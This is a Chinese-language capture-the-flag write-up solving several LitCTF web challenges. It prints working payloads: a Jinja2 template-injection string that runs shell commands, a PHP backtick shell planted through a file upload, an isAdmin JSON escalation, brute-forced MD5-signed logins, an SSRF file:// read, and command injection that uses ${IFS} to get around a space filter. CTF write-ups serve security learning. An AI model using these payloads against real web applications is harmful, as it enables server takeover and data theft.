Litctf

星愿信箱

lipsum.__globals__  # 获取lipsum函数的全局变量
__builtins__        # 访问内建命名空间
__import__('os')    # 动态导入os模块

(lipsum.__globals__.__builtins__.__import__('os'))等价于os模块

使用os.popen()执行命令并读取输出

os.popen('cat /flag').read()  # 读取flag文件内容

payload

{%print ((lipsum.__globals__.__builtins__.__import__('os')).popen('c''at /flag')).read()%}

nest_js

密码爆破

多重宇宙日记

JSON注入提权

{
  "settings": {
    "theme": "dark",
    "isAdmin": true
  }
}

easy_file

用户名:admin

密码:password

可以写入文件

传入上去之后,尝试之后把/去掉

发现有回显

<?=`cat flllag.php`?>

*easy_signin

一开始页面一直显示404,扫了一下出现两个路径

访问login.php如图,目前没看出有什么用处

接着访问login.html,发现用户名修改不了,尝试密码爆破无用,但是如果手动输入的话会发现无论密码是什么,都只会显示“账号错误”,查看源码

        const loginBtn = document.getElementById('loginBtn');
        const passwordInput = document.getElementById('password');
        const errorTip = document.getElementById('errorTip');
        const rawUsername = document.getElementById('username').value; 

     
        loginBtn.addEventListener('click', async () => {
            const rawPassword = passwordInput.value.trim();
            if (!rawPassword) {
                errorTip.textContent = '请输入密码';
                errorTip.classList.add('show');
                passwordInput.focus();
                return;
            }

            const md5Username = CryptoJS.MD5(rawUsername).toString();   
            const md5Password = CryptoJS.MD5(rawPassword).toString();   

     
            const shortMd5User = md5Username.slice(0, 6);  
            const shortMd5Pass = md5Password.slice(0, 6);  

          
            const timestamp = Date.now().toString(); //五分钟

       
            const secretKey = 'easy_signin';  
            const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

            try {  const response = await fetch('login.php', {      method: 'POST',     headers: {         'Content-Type': 'application/x-www-form-urlencoded',         'X-Sign': sign       },     body: new URLSearchParams({         username: md5Username,            password: md5Password,            timestamp: timestamp     }) });

                const result = await response.json();
                if (result.code === 200) {
                    alert('登录成功!');
                    window.location.href = 'dashboard.php'; 
                } else {
                    errorTip.textContent = result.msg;
                    errorTip.classList.add('show');
                    passwordInput.value = '';
                    passwordInput.focus();
                    setTimeout(() => errorTip.classList.remove('show'), 3000);
                }
            } catch (error) {
                errorTip.textContent = '网络请求失败';
                errorTip.classList.add('show');
                setTimeout(() => errorTip.classList.remove('show'), 3000);
            }
        });

        passwordInput.addEventListener('input', () => {
            errorTip.classList.remove('show');
        });

登录逻辑如上

  • 获取DOM元素 :通过 document.getElementById 获取登录按钮(loginBtn)、密码输入框(passwordInput)、错误提示框(errorTip)和用户名输入框的值(rawUsername
  • 对用户名和密码进行 MD5加密 ,取前6位作为简化标识(shortMd5UsershortMd5Pass)。
  • 生成当前时间戳(用于防重放攻击)和签名(sign),签名通过拼接 shortMd5User + shortMd5Pass + timestamp + secretKey 并再次MD5加密生成。
  • 发送请求 :通过 fetch 发送 POST 请求至 login.php,携带加密后的用户名、密码、时间戳和签名(X-Sign 请求头)。

进行密码爆破,这里的账号密码同样也要转换成md5值,时间戳随意

正确的账号密码会响应403

账号密码如下

账号:admin

密码:admin123

根据登录逻辑,写一个脚本用于模拟前端登录请求的加密与签名(进行哈希截断、时间戳绕过等)

把刚刚得到的密码输入,得到伪造的请求头和post传参内容

 完整请求数据:
POST数据: username=21232f297a57a5a743894a0e4a801fc3&password=0192023a7bbd73250516f069df18b500&timestamp=1748957028118
请求头:
X-Sign: 4d6241182494c61d6e677fb44d3f88c8

放包就直接登录进来了

不可以直接访问

进入到源码会发现是ssrf,直接进行file协议读取任意文件

http://node6.anna.nssctf.cn:25696/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

什么都没有,发现全部藏在源码里面了

直接访问这个文件

另解

http://node6.anna.nssctf.cn:25696/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../ #空格被过滤了,用${IFS},%2520也行,就是空格编码2次,因为SSRF了一次

直接访问/327a6c4304ad5938eaf0efb6cc3e53dc.php

上一篇
下一篇